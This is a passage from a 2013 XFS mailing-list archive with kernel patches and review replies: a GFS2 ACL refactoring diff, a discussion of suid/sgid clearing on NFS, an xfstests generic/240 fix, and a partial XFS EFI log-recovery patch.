__posix_acl_create(&acl, GFP_NOFS, &mode); > - if (error < 0) > - return error; > > - if (error == 0) > - goto munge; > - > - error = gfs2_acl_set(inode, ACL_TYPE_ACCESS, acl); > - if (error) > - goto out; > -munge: > - error = gfs2_set_mode(inode, mode); > -out: > - posix_acl_release(acl); > - return error; > -} > - > -int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr) > -{ > - struct inode *inode = &ip->i_inode; > - struct posix_acl *acl; > - char *data; > - unsigned int len; > - int error; > - > - acl = gfs2_get_acl(&ip->i_inode, ACL_TYPE_ACCESS); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (!acl) > - return gfs2_setattr_simple(inode, attr); > - > - error = __posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); > - if (error) > - return error; > - > - len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); > - data = kmalloc(len, GFP_NOFS); > - error = -ENOMEM; > - if (data == NULL) > - goto out; > - posix_acl_to_xattr(&init_user_ns, acl, data, len); > - error = gfs2_xattr_acl_chmod(ip, attr, data); > - kfree(data); > - set_cached_acl(&ip->i_inode, ACL_TYPE_ACCESS, acl); > - > -out: > - posix_acl_release(acl); > - return error; > -} > - > -static int gfs2_acl_type(const char *name) > -{ > - if (strcmp(name, GFS2_POSIX_ACL_ACCESS) == 0) > - return ACL_TYPE_ACCESS; > - if (strcmp(name, GFS2_POSIX_ACL_DEFAULT) == 0) > - return ACL_TYPE_DEFAULT; > - return -EINVAL; > -} > - > -static int gfs2_xattr_system_get(struct dentry *dentry, const char *name, > - void *buffer, size_t size, int xtype) > -{ > - struct inode *inode = dentry->d_inode; > - struct gfs2_sbd *sdp = GFS2_SB(inode); > - struct posix_acl *acl; > - int type; > - int error; > - > - if (!sdp->sd_args.ar_posix_acl) > - return -EOPNOTSUPP; > - > - type = gfs2_acl_type(name); > - if (type < 0) > - return type; > - > - acl = gfs2_get_acl(inode, type); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (acl == NULL) > - return -ENODATA; > - > - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); > - posix_acl_release(acl); > - > - return error; > -} > - > -static int gfs2_xattr_system_set(struct dentry *dentry, const char *name, > - const void *value, size_t size, int flags, > - int xtype) > -{ > - struct inode *inode = dentry->d_inode; > - struct gfs2_sbd *sdp = GFS2_SB(inode); > - struct posix_acl *acl = NULL; > - int error = 0, type; > - > - if (!sdp->sd_args.ar_posix_acl) > - return -EOPNOTSUPP; > - > - type = gfs2_acl_type(name); > - if (type < 0) > - return type; > - if (flags & XATTR_CREATE) > - return -EINVAL; > - if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) > - return value ? -EACCES : 0; > - if (!uid_eq(current_fsuid(), inode->i_uid) && !capable(CAP_FOWNER)) > - return -EPERM; > - if (S_ISLNK(inode->i_mode)) > - return -EOPNOTSUPP; > - > - if (!value) > - goto set_acl; > - > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > - if (!acl) { > - /* > - * acl_set_file(3) may request that we set default ACLs with > - * zero length -- defend (gracefully) against that here. > - */ > - goto out; > - } > - if (IS_ERR(acl)) { > - error = PTR_ERR(acl); > - goto out; > - } > - > - error = posix_acl_valid(acl); > - if (error) > - goto out_release; > - > - error = -EINVAL; > if (acl->a_count > GFS2_ACL_MAX_ENTRIES) > - goto out_release; > + return -EINVAL; > > if (type == ACL_TYPE_ACCESS) { > umode_t mode = inode->i_mode; > + > error = posix_acl_equiv_mode(acl, &mode); > + if (error < 0) > + return error; > > - if (error <= 0) { > - posix_acl_release(acl); > + if (error == 0) > acl = NULL; > > - if (error < 0) > - return error; > - } > - > error = gfs2_set_mode(inode, mode); > if (error) > - goto out_release; > + return error; > } > > -set_acl: > - error = __gfs2_xattr_set(inode, name, value, size, 0, GFS2_EATYPE_SYS); > - if (!error) { > - if (acl) > - set_cached_acl(inode, type, acl); > - else > - forget_cached_acl(inode, type); > + if (acl) { > + len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); > + if (len == 0) > + return 0; > + data = kmalloc(len, GFP_NOFS); > + if (data == NULL) > + return -ENOMEM; > + error = posix_acl_to_xattr(&init_user_ns, acl, data, len); > + if (error < 0) > + goto out; > + } else { > + data = NULL; > + len = 0; > } > -out_release: > - posix_acl_release(acl); > + > + error = __gfs2_xattr_set(inode, name, data, len, 0, GFS2_EATYPE_SYS); > + if (error) > + goto out; > + > + if (acl) > + set_cached_acl(inode, type, acl); > + else > + forget_cached_acl(inode, type); > out: > + kfree(data); > return error; > } > - > -const struct xattr_handler gfs2_xattr_system_handler = { > - .prefix = XATTR_SYSTEM_PREFIX, > - .flags = GFS2_EATYPE_SYS, > - .get = gfs2_xattr_system_get, > - .set = gfs2_xattr_system_set, > -}; > - > diff --git a/fs/gfs2/acl.h b/fs/gfs2/acl.h > index 0da38dc..301260c 100644 > --- a/fs/gfs2/acl.h > +++ b/fs/gfs2/acl.h > @@ -17,8 +17,6 @@ > #define GFS2_ACL_MAX_ENTRIES 25 > > extern struct posix_acl *gfs2_get_acl(struct inode *inode, int type); > -extern int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode); > -extern int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr); > -extern const struct xattr_handler gfs2_xattr_system_handler; > +extern int gfs2_set_acl(struct inode *inode, struct posix_acl *acl, int type); > > #endif /* __ACL_DOT_H__ */ > diff --git a/fs/gfs2/inode.c b/fs/gfs2/inode.c > index 7119504..92b8959 100644 > --- a/fs/gfs2/inode.c > +++ b/fs/gfs2/inode.c > @@ -552,6 +552,7 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, > unsigned int size, int excl, int *opened) > { > const struct qstr *name = &dentry->d_name; > + struct posix_acl *default_acl, *acl; > struct gfs2_holder ghs[2]; > struct inode *inode = NULL; > struct gfs2_inode *dip = GFS2_I(dir), *ip; > @@ -611,10 +612,14 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, > if (!inode) > goto fail_gunlock; > > + error = posix_acl_create(dir, &mode, &default_acl, &acl); > + if (error) > + goto fail_free_vfs_inode; > + > ip = GFS2_I(inode); > error = gfs2_rs_alloc(ip); > if (error) > - goto fail_free_inode; > + goto fail_free_acls; > > inode->i_mode = mode; > set_nlink(inode, S_ISDIR(mode) ? 2 : 1); > @@ -682,7 +687,16 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, > gfs2_set_iop(inode); > insert_inode_hash(inode); > > - error = gfs2_acl_create(dip, inode); > + if (default_acl) { > + error = gfs2_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); > + posix_acl_release(default_acl); > + } > + if (acl) { > + if (!error) > + error = gfs2_set_acl(inode, acl, ACL_TYPE_ACCESS); > + posix_acl_release(acl); > + } > + > if (error) > goto fail_gunlock3; > > @@ -716,6 +730,12 @@ fail_free_inode: > if (ip->i_gl) > gfs2_glock_put(ip->i_gl); > gfs2_rs_delete(ip, NULL); > +fail_free_acls: > + if (default_acl) > + posix_acl_release(default_acl); > + if (acl) > + posix_acl_release(acl); > +fail_free_vfs_inode: > free_inode_nonrcu(inode); > inode = NULL; > fail_gunlock: > @@ -1678,10 +1698,11 @@ static int gfs2_setattr(struct dentry *dentry, struct iattr *attr) > error = gfs2_setattr_size(inode, attr->ia_size); > else if (attr->ia_valid & (ATTR_UID | ATTR_GID)) > error = setattr_chown(inode, attr); > - else if ((attr->ia_valid & ATTR_MODE) && IS_POSIXACL(inode)) > - error = gfs2_acl_chmod(ip, attr); > - else > + else { > error = gfs2_setattr_simple(inode, attr); > + if (!error && attr->ia_valid & ATTR_MODE) > + error = posix_acl_chmod(inode, inode->i_mode); > + } > > out: > if (!error) > @@ -1841,6 +1862,7 @@ const struct inode_operations gfs2_file_iops = { > .removexattr = gfs2_removexattr, > .fiemap = gfs2_fiemap, > .get_acl = gfs2_get_acl, > + .set_acl = gfs2_set_acl, > }; > > const struct inode_operations gfs2_dir_iops = { > @@ -1862,6 +1884,7 @@ const struct inode_operations gfs2_dir_iops = { > .removexattr = gfs2_removexattr, > .fiemap = gfs2_fiemap, > .get_acl = gfs2_get_acl, > + .set_acl = gfs2_set_acl, > .atomic_open = gfs2_atomic_open, > }; > > diff --git a/fs/gfs2/xattr.c b/fs/gfs2/xattr.c > index 8c6a6f6..0b81f78 100644 > --- a/fs/gfs2/xattr.c > +++ b/fs/gfs2/xattr.c > @@ -13,6 +13,7 @@ > #include > #include > #include > +#include > #include > > #include "gfs2.h" > @@ -1500,7 +1501,8 @@ static const struct xattr_handler gfs2_xattr_security_handler = { > const struct xattr_handler *gfs2_xattr_handlers[] = { > &gfs2_xattr_user_handler, > &gfs2_xattr_security_handler, > - &gfs2_xattr_system_handler, > + &posix_acl_access_xattr_handler, > + &posix_acl_default_xattr_handler, > NULL, > }; > From stanislav.kholmanskikh@oracle.com Wed Dec 11 05:00:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 87D2629DF8 for ; Wed, 11 Dec 2013 05:00:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 618A6304075 for ; Wed, 11 Dec 2013 03:00:59 -0800 (PST) X-ASG-Debug-ID: 1386759657-04bdf013221ab0e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 3QZnGUpfGxnGn4sD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 03:00:58 -0800 (PST) X-Barracuda-Envelope-From: stanislav.kholmanskikh@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBB0Rgi021959 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 11:00:28 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBB0QNq020460 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 11:00:26 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBB0PDc020420; Wed, 11 Dec 2013 11:00:25 GMT Received: from [10.162.81.220] (/10.162.81.220) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 03:00:25 -0800 Message-ID: <52A845C6.2080109@oracle.com> Date: Wed, 11 Dec 2013 15:00:22 +0400 From: Stanislav Kholmanskikh User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20131030 Thunderbird/17.0.10 MIME-Version: 1.0 To: linux-nfs@vger.kernel.org CC: vasily.isaenko@oracle.com, hch@infradead.org, xfs@oss.sgi.com, sprabhu@redhat.com, bfields@fieldses.org Subject: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way References: <20131206204747.GB12613@fieldses.org> <1386756996-28083-1-git-send-email-stanislav.kholmanskikh@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way In-Reply-To: <1386756996-28083-1-git-send-email-stanislav.kholmanskikh@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386759658 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143011 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On 12/11/2013 02:16 PM, Stanislav Kholmanskikh wrote: [cut off] > > This patch makes NFS to behave like local file systems. > [cut off] This patch allows to run generic/193 without any issues with NFSv3. With NFSv4 generic/193 fails (but with the other issues, which existed even before the patch). generic/193 expects that suid/sgid bits are cleared after the file truncation: touch file chown fsgqa:fsgqa file chmod u+s file echo 'xyz' > file ls -l file su fsgqa -c 'echo > file' ls -l file With ext4 (for example), we have expectable results: -rwSr--r-- 1 fsgqa fsgqa 4 Dec 11 05:21 file -rw-r--r-- 1 fsgqa fsgqa 1 Dec 11 05:22 file With NFSv3 as well: -rwSr--r-- 1 fsgqa fsgqa 4 Dec 11 05:24 file -rw-r--r-- 1 fsgqa fsgqa 1 Dec 11 05:25 file But with NFSv4 the bits are not cleared: -rwSr--r-- 1 fsgqa fsgqa 1 Dec 11 05:19 file -rwSr--r-- 1 fsgqa fsgqa 1 Dec 11 05:21 file 'echo > file' issues: open("file", O_WRONLY|O_CREAT|O_TRUNC, 0666) Can it be because of design differences between NFSv3 and NFSv4? Thank you. From stanislav.kholmanskikh@oracle.com Wed Dec 11 05:22:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3E5A6802A for ; Wed, 11 Dec 2013 05:22:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1CDBF304048 for ; Wed, 11 Dec 2013 03:21:58 -0800 (PST) X-ASG-Debug-ID: 1386760918-04cb6c537b69e350001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id EJHGjqCcv6wMMxAx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 03:21:58 -0800 (PST) X-Barracuda-Envelope-From: stanislav.kholmanskikh@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBBLZGD012139 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 11:21:36 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBBLYpL007262 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 11:21:34 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBBLY76007248; Wed, 11 Dec 2013 11:21:34 GMT Received: from kholmanskikh.ru.oracle.com (/10.162.81.220) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 03:21:33 -0800 From: Stanislav Kholmanskikh To: xfs@oss.sgi.com Cc: vasily.isaenko@oracle.com, hch@infradead.org Subject: [PATCH V2] generic: require filesize to be greater than fs block size in generic/240 Date: Wed, 11 Dec 2013 15:21:28 +0400 X-ASG-Orig-Subj: [PATCH V2] generic: require filesize to be greater than fs block size in generic/240 Message-Id: <1386760888-30022-1-git-send-email-stanislav.kholmanskikh@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386760918 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143011 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines If we execute generic/240 on a fs which has its fs block size greater than 64k (for example, NFS), this test will fail with: io_submit failed: Invalid argument This will happen because in src/aio-dio-regress/aiodio_sparse2.c this expression num_aio = filesize / step; will set num_aio to 0 and this means that no io_prep_write() will happen before calling io_submit(). Fixing filesize to be 8 * "fs block size". Signed-off-by: Stanislav Kholmanskikh --- tests/generic/240 | 5 +++-- 1 files changed, 3 insertions(+), 2 deletions(-) diff --git a/tests/generic/240 b/tests/generic/240 index e26f495..74dbba6 100755 --- a/tests/generic/240 +++ b/tests/generic/240 @@ -62,14 +62,15 @@ rm -f $TEST_DIR/aiodio_sparse logical_block_size=`_min_dio_alignment $TEST_DEV` fs_block_size=`stat -f $TEST_DIR | grep "Block size:" | awk '{print $3}'` +file_size=$((8 * $fs_block_size)) if [ $fs_block_size -le $logical_block_size ]; then _notrun "fs block size must be larger than the device block size. fs block size: $fs_block_size, device block size: $logical_block_size" fi -# 2 threads, fs block sized writes, 64k filesize, stride through file by +# 2 threads, fs block sized writes, filesize, stride through file by # fs block size, start at logical block size offset -$AIO_TEST -i 2 -w $fs_block_size -s 64k -n $fs_block_size -o $logical_block_size "$TEST_DIR/aiodio_sparse" +$AIO_TEST -i 2 -w $fs_block_size -s $file_size -n $fs_block_size -o $logical_block_size "$TEST_DIR/aiodio_sparse" status=$? exit -- 1.7.1 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 05:28:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E0B5B801D for ; Wed, 11 Dec 2013 05:28:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7B142AC012 for ; Wed, 11 Dec 2013 03:28:47 -0800 (PST) X-ASG-Debug-ID: 1386761318-04cbb041686a6be0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id wZCHazqPoFdDYorQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 03:28:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vqhy2-0001cY-CS; Wed, 11 Dec 2013 11:28:38 +0000 Date: Wed, 11 Dec 2013 03:28:38 -0800 From: Christoph Hellwig To: Stanislav Kholmanskikh Cc: xfs@oss.sgi.com, vasily.isaenko@oracle.com, hch@infradead.org Subject: Re: [PATCH V2] generic: require filesize to be greater than fs block size in generic/240 Message-ID: <20131211112838.GA6220@infradead.org> X-ASG-Orig-Subj: Re: [PATCH V2] generic: require filesize to be greater than fs block size in generic/240 References: <1386760888-30022-1-git-send-email-stanislav.kholmanskikh@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386760888-30022-1-git-send-email-stanislav.kholmanskikh@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386761318 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143011 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 05:31:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5284F802A for ; Wed, 11 Dec 2013 05:31:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B1DD8AC018 for ; Wed, 11 Dec 2013 03:31:28 -0800 (PST) X-ASG-Debug-ID: 1386761486-04cbb041696a6cf0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 8HsfLAMfZhCfknwU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 03:31:26 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vqi0k-000307-3n; Wed, 11 Dec 2013 11:31:26 +0000 Date: Wed, 11 Dec 2013 03:31:26 -0800 From: Christoph Hellwig To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3] xfs: free the efi AIL entry on log recovery failure Message-ID: <20131211113126.GA6248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v3] xfs: free the efi AIL entry on log recovery failure References: <20131206212037.560711585@sgi.com> <20131208005224.696001432@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131208005224.696001432@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386761486 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143011 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Btw, I really think we need to get rid of abusing the AIL for tracking EFIs during log recovery before looking at the various leaks in this area. I've actually got a lightly tested patch for that, but didn't make much progress on that series. If you have and interest in that area and some spare QA cycles I'd recommend to base this on the patch below: --- >From b90935eaba9eb13c67101e5d723513bc6ca6e722 Mon Sep 17 00:00:00 2001 From: Christoph Hellwig Date: Sat, 23 Nov 2013 20:11:09 +0100 Subject: [PATCH] xfs: simplify EFI/EFD recovery Use a cancellation table, similar to how we handle buffers instead of abusing the AIL during recovery. Signed-off-by: Christoph Hellwig --- fs/xfs/xfs_extfree_item.c | 8 +- fs/xfs/xfs_extfree_item.h | 6 -- fs/xfs/xfs_log_priv.h | 1 + fs/xfs/xfs_log_recover.c | 183 +++++++++++++-------------------------------- 4 files changed, 56 insertions(+), 142 deletions(-) diff --git a/fs/xfs/xfs_extfree_item.c b/fs/xfs/xfs_extfree_item.c index fb7a4c1..cc5e9fd 100644 --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -312,14 +312,8 @@ xfs_efi_release(xfs_efi_log_item_t *efip, uint nextents) { ASSERT(atomic_read(&efip->efi_next_extent) >= nextents); - if (atomic_sub_and_test(nextents, &efip->efi_next_extent)) { - /* recovery needs us to drop the EFI reference, too */ - if (test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)) - __xfs_efi_release(efip); - + if (atomic_sub_and_test(nextents, &efip->efi_next_extent)) __xfs_efi_release(efip); - /* efip may now have been freed, do not reference it again. */ - } } static inline struct xfs_efd_log_item *EFD_ITEM(struct xfs_log_item *lip) diff --git a/fs/xfs/xfs_extfree_item.h b/fs/xfs/xfs_extfree_item.h index 0ffbce3..6a70bde 100644 --- a/fs/xfs/xfs_extfree_item.h +++ b/fs/xfs/xfs_extfree_item.h @@ -29,11 +29,6 @@ struct kmem_zone; #define XFS_EFI_MAX_FAST_EXTENTS 16 /* - * Define EFI flag bits. Manipulated by set/clear/test_bit operators. - */ -#define XFS_EFI_RECOVERED 1 - -/* * This is the "extent free intention" log item. It is used to log the fact * that some extents need to be free. It is used in conjunction with the * "extent free done" log item described below. @@ -47,7 +42,6 @@ typedef struct xfs_efi_log_item { xfs_log_item_t efi_item; atomic_t efi_refcount; atomic_t efi_next_extent; - unsigned long efi_flags; /* misc flags */ xfs_efi_log_format_t efi_format; } xfs_efi_log_item_t; diff --git a/fs/xfs/xfs_log_priv.h b/fs/xfs/xfs_log_priv.h index 9bc403a..0df5ec3 100644 --- a/fs/xfs/xfs_log_priv.h +++ b/fs/xfs/xfs_log_priv.h @@ -368,6 +368,7 @@ struct xlog { uint l_flags; uint l_quotaoffs_flag; /* XFS_DQ_*, for QUOTAOFFs */ struct list_head *l_buf_cancel_table; + struct list_head l_efi_cancel; int l_iclog_hsize; /* size of iclog header */ int l_iclog_heads; /* # of iclog header sectors */ uint l_sectBBsize; /* sector size in BBs (2^n) */ diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index b6b669d..1a83739 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -75,6 +75,12 @@ struct xfs_buf_cancel { struct list_head bc_list; }; +struct xfs_efi_cancel { + struct xfs_efi_log_item *ec_efip; + xfs_lsn_t ec_lsn; + struct list_head ec_list; +}; + /* * Sector aligned buffer routines for buffer create/read/write/access */ @@ -3059,82 +3065,50 @@ xlog_recover_efi_pass2( struct xlog_recover_item *item, xfs_lsn_t lsn) { - int error; - xfs_mount_t *mp = log->l_mp; - xfs_efi_log_item_t *efip; - xfs_efi_log_format_t *efi_formatp; + struct xfs_efi_cancel *ecp; + int error; + xfs_mount_t *mp = log->l_mp; + xfs_efi_log_format_t *efi_formatp; efi_formatp = item->ri_buf[0].i_addr; - efip = xfs_efi_init(mp, efi_formatp->efi_nextents); - if ((error = xfs_efi_copy_format(&(item->ri_buf[0]), - &(efip->efi_format)))) { - xfs_efi_item_free(efip); + ecp = kmem_alloc(sizeof(struct xfs_efi_cancel), KM_SLEEP); + ecp->ec_lsn = lsn; + ecp->ec_efip = xfs_efi_init(mp, efi_formatp->efi_nextents); + + error = xfs_efi_copy_format(&item->ri_buf[0], + &ecp->ec_efip->efi_format); + if (error) { + xfs_efi_item_free(ecp->ec_efip); return error; } - atomic_set(&efip->efi_next_extent, efi_formatp->efi_nextents); - - spin_lock(&log->l_ailp->xa_lock); - /* - * xfs_trans_ail_update() drops the AIL lock. - */ - xfs_trans_ail_update(log->l_ailp, &efip->efi_item, lsn); + atomic_set(&ecp->ec_efip->efi_next_extent, efi_formatp->efi_nextents); + list_add(&ecp->ec_list, &log->l_efi_cancel); return 0; } - -/* - * This routine is called when an efd format structure is found in - * a committed transaction in the log. It's purpose is to cancel - * the corresponding efi if it was still in the log. To do this - * it searches the AIL for the efi with an id equal to that in the - * efd format structure. If we find it, we remove the efi from the - * AIL and free it. - */ STATIC int xlog_recover_efd_pass2( struct xlog *log, struct xlog_recover_item *item) { - xfs_efd_log_format_t *efd_formatp; - xfs_efi_log_item_t *efip = NULL; - xfs_log_item_t *lip; - 